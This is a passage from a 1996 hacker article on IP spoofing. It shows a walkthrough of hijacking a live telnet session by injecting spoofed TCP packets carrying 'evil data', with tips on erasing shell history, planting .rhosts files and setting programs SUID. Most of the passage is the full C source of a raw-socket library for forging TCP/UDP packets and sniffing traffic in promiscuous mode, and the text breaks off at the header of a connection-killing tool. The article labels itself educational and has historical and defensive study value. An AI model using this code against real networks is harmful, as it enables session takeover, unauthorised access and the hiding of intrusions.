on track of SEQ/ACK), and even finnish the connection (with the same
mechanism of sniper, or with sniper itself... here FIN is recommended).
NOTE: here it is important to be in a shell. But if you have been
watching someone, and you notice he's always directly going to
'pine' and you can't get inbetween on time.
NO PROBS.... just make a cleanup string that cleans up
'pine' and puts you back in the shell. (some control chars,
hotkeys, whatever....)
NOTE: if you clean up the .sh_history of .bash_history (whatever) this
attack is one of the nicest there is. Another advantage above
sniffing.
NOTE: Noone says you have to make a .rhosts file (rlogin and
family might be disabled), you can change permissions, put
stuff SUID, put it public, install stuff, mail, etc..
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
Waiting for actual data (PSH is always used for packets containing
data in interactive services like TELNET)
2) N/A
3) N/A
4) sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
23,sp_seq,sp_ack,ACK|PSH);
We recalculate the sequence number (using SEQ and datalength of packet 1)
an we send a spoofed packet with ACK and PSH flag, containing the
cleanup data in to_data.
5) while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
We wait for a confirmation that our spoofed sequence is accepted. We
expect a packet with an ACK set (PSH or not). It should come within 5
packets, we use this limit, because we should be able to handle some
previous ACK packets!
NOTE we don't check SEQ nrs, because we have no clue of what they are
going to be (data might have been send our way, or not).
6) while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
To get back on track, we try to receive 2 ACK packets without data
with the same SEQ/ACK. We know enough packets will be send as a
response to incorrect packets from the confused host A.
This is how we get back on track.
NOTE In a case where A completely gave up, simple spoof a packet with
incorrect SEQ/ACK to get the correct numbers back.
7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
Pretty clear....
8) while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
and again waiting for confirmation.
NOTE after the above attack, hijack had produced the following output:
Starting Hijacking demo - Brecht Claerhout 1996
-----------------------------------------------
Takeover phase 1: Stealing connection.
Sending Spoofed clean-up data...
Waiting for spoof to be confirmed...
Phase 1 ended.
Takeover phase 2: Getting on track with SEQ/ACK's again
Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
Phase 2 ended.
Takeover phase 3: Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.
4.5 Other
---------
This list is far from complete, I'm sure you can think of other nice things
to do with this information, think, experiment and code!
5. The source code
------------------
---=[ spoofit.h ]=------------------------------------------------------------
/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets */
/* Requires LINUX 1.3.x (or later) Kernel */
/* (illustration for 'A short overview of IP spoofing') */
/* V.1 - Copyright 1996 - Brecht Claerhout */
/* */
/* Purpose - Providing skilled people with a easy to use spoofing source */
/* I used it to be able to write my tools fast and short. */
/* Mind you this is only illustrative and can be easily */
/* optimised. */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This file is for educational purposes only. I am in */
/* NO way responsible for what you do with this file, */
/* or any damage you or this file causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* If you know a little about your OS, shouldn't be to hard */
/* to port. */
/* */
/* Important note - You might have noticed I use non standard packet */
/* header struct's. How come?? Because I started like */
/* that on Sniffit because I wanted to do the */
/* bittransforms myself. */
/* Well I got so damned used to them, I keep using them, */
/* they are not very different, and not hard to use, so */
/* you'll easily use my struct's without any problem, */
/* this code and the examples show how to use them. */
/* my apologies for this inconvenience. */
/* */
/* None of this code can be used in commercial software. You are free to */
/* use it in any other non-commercial software (modified or not) as long */
/* as you give me the credits for it. You can spread this include file, */
/* but keep it unmodified. */
/* */
/**************************************************************************/
/* */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs. */
/* */
/**** Sending packets *****************************************************/
/* */
/* int open_sending (void) */
/* Returns a filedescriptor to the sending socket. */
/* close it with close (int filedesc) */
/* */
/* void transmit_TCP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest,unsigned short sp_dest_port, */
/* unsigned long sp_seq, unsigned long sp_ack, */
/* unsigned short sp_flags) */
/* fire data away in a TCP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options (you should do the padding) */
/* TCP options (you should do the padding) */
/* data to be transmitted */
/* (NULL is nothing) */
/* note that all is optional, and IP en TCP options are*/
/* not often used. */
/* All data is put after eachother in one buffer. */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_tcpoptlen : length of TCP options (in bytes) */
/* sp_datalen : amount of data to be transmitted (bytes) */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* sp_seq : sequence number of packet */
/* sp_ack : ACK of packet */
/* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
/* */
/* void transmit_UDP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest, unsigned short sp_dest_port) */
/* fire data away in an UDP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options */
/* data to be transmitted */
/* (NULL if none) */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_datalen : amount of data to be transmitted */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* */
/**** Receiving packets ***************************************************/
/* */
/* int open_receiving (char *rc_device, char mode) */
/* Returns fdesc to a receiving socket */
/* (if mode: IO_HANDLE don't call this twice, global var */
/* rc_fd_abc123 is initialised) */
/* rc_device: the device to use e.g. "eth0", "ppp0" */
/* be sure to change DEV_PREFIX accordingly! */
/* DEV_PREFIX is the length in bytes of the header that */
/* comes with a SOCKET_PACKET due to the network device */
/* mode: 0: normal mode, blocking, (read will wait till packet */
/* comes, mind you, we are in PROMISC mode) */
/* IO_NONBLOCK: non-blocking mode (read will not wait till */
/* usefull for active polling) */
/* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/* (IO_HANDLE is not recommended to use, as it should be */
/* modified according to own use, and it works bad on heavy */
/* traffic continuous monitoring. I needed it once, but left it */
/* in to make you able to have a look at Signal handled IO, */
/* personally I would have removed it, but some thought it */
/* doesn't do any harm anyway, so why remove... ) */
/* (I'm not giving any more info on IO_HANDLE as it is not */
/* needed for the example programs, and interested people can */
/* easilythey figure the code out theirselves.) */
/* (Besides IO_HANDLE can only be called ONCE in a program, */
/* other modes multiple times) */
/* */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
/* unsigned char *proto) */
/* This waits for a packet (mode default) and puts it in buffer or */
/* returns whether there is a pack or not (IO_NONBLOCK). */
/* It returns the packet length if there is one available, else 0 */
/* */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
/* char *wp_source, unsigned short wp_source_port, */
/* char *wp_dest, unsigned short wp_dest_port, */
/* int wp_flags, int wait_time); */
/* wp_fd: a receiving socket (default or IO_NONBLOCK) */
/* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
/* ACK, flags, datalen of that packet. For further packet */
/* handling see the examples. */
/* struct sp_wait_packet { */
/* unsigned long seq,ack; */
/* unsigned short flags; */
/* int datalen; */
/* }; */
/* wp_source, wp_source_port : sender of packet */
/* wp_dest, wp_dest_port : receiver of packet */
/* wp_flags: flags that should be present in packet.. (mind you there */
/* could be more present, so check on return) */
/* note: if you don't care about flag, use 0 */
/* wait_time: if not zero, this function will return -1 if no correct */
/* packet has arrived within wait_time secs. */
/* (only works on IO_NONBLOCK socket) */
/* */
/* void set_filter (char *f_source, unsigned short f_source_port, */
/* char *f_dest, unsigned short f_dest_port) */
/* (for use with IO_HANDLE) */
/* Start the program to watch all trafic from source/port to */
/* dest/port. This enables the updating of global data. Can */
/* be called multiple times. */
/* */
/* void close_receiving (void) */
/* When opened a IO_HANDLE mode receiving socket close it with */
/* this. */
/* */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/* */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum. */
/* Mind you use of this is very limited, if you are a novice on IO, just */
/* ignore it, the other functions are good enough!). If not, rewrite the */
/* handler for your own use... */
/* */
/* sig_atomic_t SP_DATA_BUSY */
/* Put this on NON-ZERO when accesing global data. Incoming */
/* packets will be ignored then, data can not be overwritten. */
/* */
/* unsigned long int CUR_SEQ, CUR_ACK; */
/* Last recorded SEQ and ACK number of the filtered "stream". */
/* Before accessing this data set SP_DATA_BUSY non-zero, */
/* afterward set it back to zero. */
/* */
/* unsigned long int CUR_COUNT; */
/* increased everytime other data is updated */
/* */
/* unsigned int CUR_DATALEN; */
/* Length of date in last TCP packet */
/* */
/**************************************************************************/
#include "sys/socket.h" /* includes, what would we do without them */
#include "netdb.h"
#include "stdlib.h"
#include "unistd.h"
#include "stdio.h"
#include "errno.h"
#include "netinet/in.h"
#include "netinet/ip.h"
#include "linux/if.h"
#include "sys/ioctl.h"
#include "sys/types.h"
#include "signal.h"
#include "fcntl.h"
#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */
#define IO_HANDLE 1
#define IO_NONBLOCK 2
int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;
/**** IO_HANDLE ************************************************************/
int rc_fd_abc123;
sig_atomic_t RC_FILTSET=0;
char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */
sig_atomic_t SP_DATA_BUSY=0;
unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;
unsigned int CUR_DATALEN;
unsigned short CUR_FLAGS;
/***************************************************************************/
struct sp_wait_packet
{
unsigned long seq,ack;
unsigned short flags;
int datalen;
};
/* Code from Sniffit - BTW my own program.... no copyright violation here */
#define URG 32 /* TCP flags */
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
struct PACKET_info
{
int len, datalen;
unsigned long int seq_nr, ACK_nr;
u_char FLAGS;
};
struct IP_header /* The IPheader (without options) */
{
unsigned char verlen, type;
unsigned short length, ID, flag_offset;
unsigned char TTL, protocol;
unsigned short checksum;
unsigned long int source, destination;
};
struct TCP_header /* The TCP header (without options) */
{
unsigned short source, destination;
unsigned long int seq_nr, ACK_nr;
unsigned short offset_flag, window, checksum, urgent;
};
struct UDP_header /* The UDP header */
{
unsigned short source, destination;
unsigned short length, checksum;
};
struct pseudo_IP_header /* The pseudo IP header (checksum calc) */
{
unsigned long int source, destination;
char zero_byte, protocol;
unsigned short TCP_UDP_len;
};
/* data structure for argument passing */
struct sp_data_exchange {
int fd; /* Sh!t from transmit_TCP */
char *data;
int datalen;
char *source; unsigned short source_port;
char *dest; unsigned short dest_port;
unsigned long seq, ack;
unsigned short flags;
char *buffer; /* work buffer */
int IP_optlen; /* IP options length in bytes */
int TCP_optlen; /* TCP options length in bytes */
};
/**************** all functions *******************************************/
void transmit_TCP (int fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags);
void transmit_UDP (int sp_fd, char *sp_data,
int ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port);
int get_packet (int rc_fd, char *buffer, int *, unsigned char*);
int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int);
static unsigned long sp_getaddrbyname(char *);
int open_sending (void);
int open_receiving (char *, char);
void close_receiving (void);
void sp_send_packet (struct sp_data_exchange *, unsigned char);
void sp_fix_TCP_packet (struct sp_data_exchange *);
void sp_fix_UDP_packet (struct sp_data_exchange *);
void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);
unsigned short in_cksum(unsigned short *, int );
void rc_sigio (int);
void set_filter (char *, unsigned short, char *, unsigned short);
/********************* let the games commence ****************************/
static unsigned long sp_getaddrbyname(char *sp_name)
{
struct hostent *sp_he;
int i;
if(isdigit(*sp_name))
return inet_addr(sp_name);
for(i=0;i<100;i++)
{
if(!(sp_he = gethostbyname(sp_name)))
{printf("WARNING: gethostbyname failure!\n");
sleep(1);
if(i>=3) /* always a retry here in this kind of application */
printf("Coudn't resolv hostname."), exit(1);
}
else break;
}
return sp_he ? *(long*)*sp_he->h_addr_list : 0;
}
int open_sending (void)
{
struct protoent *sp_proto;
int sp_fd;
int dummy=1;
/* they don't come rawer */
if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1)
perror("Couldn't open Socket."), exit(1);
#ifdef DEBUG
printf("Raw socket ready\n");
#endif
return sp_fd;
}
void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)
{
int sp_status;
struct sockaddr_in sp_server;
struct hostent *sp_help;
int HEAD_BASE;
/* Construction of destination */
bzero((char *)&sp_server, sizeof(struct sockaddr));
sp_server.sin_family = AF_INET;
sp_server.sin_addr.s_addr = inet_addr(sp->dest);
if (sp_server.sin_addr.s_addr == (unsigned int)-1)
{ /* if target not in DOT/number notation */
if (!(sp_help=gethostbyname(sp->dest)))
fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);
bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length);
};
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,
(struct sockaddr *)&sp_server,sizeof(struct sockaddr));
if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)
{
if (sp_status < 0)
perror("Sendto"), exit(1);
printf("hmm... Only transmitted %d of %d bytes.\n", sp_status,
sp->datalen+HEAD_BASE);
};
#ifdef DEBUG
printf("Packet transmitted...\n");
#endif
}
void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)
{
struct IP_header *sp_help_ip;
int HEAD_BASE;
switch(proto)
{
case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */
case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */
default: exit(1); break;
};
sp_help_ip = (struct IP_header *) (sp->buffer);
sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
sp_help_ip->type = 0;
sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);
sp_help_ip->ID = htons(12545); /* TEST */
sp_help_ip->flag_offset = 0;
sp_help_ip->TTL = 69;
sp_help_ip->protocol = proto;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->dest);
sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),
IP_HEAD_BASE+sp->IP_optlen);
#ifdef DEBUG
printf("IP header fixed...\n");
#endif
}
void sp_fix_TCP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct TCP_header *sp_help_tcp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq_nr = htonl(sp->seq);
sp_help_tcp->ACK_nr = htonl(sp->ack);
sp_help_tcp->source = htons(sp->source_port);
sp_help_tcp->destination = htons(sp->dest_port);
sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 6;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
#ifdef DEBUG
printf("TCP header fixed...\n");
#endif
}
void transmit_TCP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port,
unsigned long sp_seq, unsigned long sp_ack,
unsigned short sp_flags)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_tcpoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_tcpoptlen);
if (sp_datalen!=0)
memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.seq = sp_seq;
sp_struct.ack = sp_ack;
sp_struct.flags = sp_flags;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = sp_tcpoptlen;
sp_fix_TCP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 6);
sp_send_packet(&sp_struct, 6);
}
void sp_fix_UDP_packet (struct sp_data_exchange *sp)
{
char sp_pseudo_ip_construct[MTU];
struct UDP_header *sp_help_udp;
struct pseudo_IP_header *sp_help_pseudo;
int i;
for(i=0;i<MTU;i++)
{sp_pseudo_ip_construct[i]=0;}
sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);
sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);
sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
printf("UDP header fixed...\n");
#endif
}
void transmit_UDP (int sp_fd, char *sp_data,
int sp_ipoptlen, int sp_datalen,
char *sp_source, unsigned short sp_source_port,
char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;
bzero(sp_buffer,1500);
if (sp_ipoptlen!=0)
memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd = sp_fd;
sp_struct.data = sp_data;
sp_struct.datalen = sp_datalen;
sp_struct.source = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest = sp_dest;
sp_struct.dest_port = sp_dest_port;
sp_struct.buffer = sp_buffer;
sp_struct.IP_optlen = sp_ipoptlen;
sp_struct.TCP_optlen = 0;
sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}
/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
/************************* Receiving department ****************************/
int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;
/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
perror("Couldn't set flags. (PROMISC)"), exit(1);
if(mode&IO_HANDLE)
{ /* install handler */
rc_sa.sa_handler=rc_sigio; /* we don't use signal() */
sigemptyset(&rc_sa.sa_mask); /* because the timing window is */
rc_sa.sa_flags=0; /* too big... */
sigaction(SIGIO,&rc_sa,NULL);
}
if(fcntl(or_fd,F_SETOWN,getpid())<0)
perror("Couldn't set ownership"), exit(1);
if(mode&IO_HANDLE)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
rc_fd_abc123=or_fd;
}
else
{
if(mode&IO_NONBLOCK)
{
if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
perror("Couldn't get FLAGS"), exit(1);
if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
perror("Couldn't set FLAGS"), exit(1);
};
};
#ifdef DEBUG
printf("Reading socket ready\n");
#endif
return or_fd;
}
/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;
pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
{
if(errno==EWOULDBLOCK)
{pack_len=0;}
else
{perror("Read error:"); exit(1);}
};
if(pack_len>0)
{
pack_len -= DEV_PREFIX;
memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
gp_IPhead = (struct IP_header *) buffer;
if(proto != NULL)
*proto = gp_IPhead->protocol;
if(TCP_UDP_start != NULL)
*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
}
return pack_len;
}
void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}
int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
char *wp_source, unsigned short wp_source_port,
char *wp_dest, unsigned short wp_dest_port, int wp_flags,
int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;
wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);
WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
{
signal(SIGALRM,wait_packet_timeout);
alarm(wait_time);
}
while(1)
{
while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
{
if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;}
};
if(wp_proto == 6)
{
wp_iphead= (struct IP_header *) wp_buffer;
wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
{
if( (ntohs(wp_tcphead->source)==wp_source_port) &&
(ntohs(wp_tcphead->destination)==wp_dest_port) )
{
if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
{
ret_values->seq=ntohl(wp_tcphead->seq_nr);
ret_values->ack=ntohl(wp_tcphead->ACK_nr);
ret_values->flags=ntohs(wp_tcphead->offset_flag)&
(URG|ACK|PSH|FIN|RST|SYN);
ret_values->datalen = ntohs(wp_iphead->length) -
((wp_iphead->verlen & 0xF) << 2) -
((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
alarm(0);
return 0;
}
}
}
}
}
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}
void close_receiving (void)
{
close(rc_fd_abc123);
}
void rc_sigio (int sig) /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;
if(RC_FILTSET==0) return;
if(SP_DATA_BUSY!=0) /* skip this packet */
return;
pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return; /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
rc_so = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));
if(strcmp(packet_id,rc_filter_string)==0)
{
SP_DATA_BUSY=1;
CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
CUR_DATALEN = ntohs(rc_IPhead->length) -
((rc_IPhead->verlen & 0xF) << 2) -
((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
CUR_COUNT++;
SP_DATA_BUSY=0;
}
}
void set_filter (char *f_source, unsigned short f_source_port,
char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;
RC_FILTSET=0;
if(DEV_PREFIX==9999)
fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so = (unsigned char *) &f_sol;
f_des = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}
---=[ sniper-rst.c ]=---------------------------------------------------------
/**************************************************************************/
/* Sniper-rst - Example program on connection killing with IP spoofing */
/* Using the RST flag. */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - Killing any TCP connection on your subnet */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o sniper-rst sniper-rst.c */
/* */
/* Usage - Usage described in the spoofing article that came with this. */
/* If you didn't get this, try to get the full release... */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/
#include "spoofit.h"
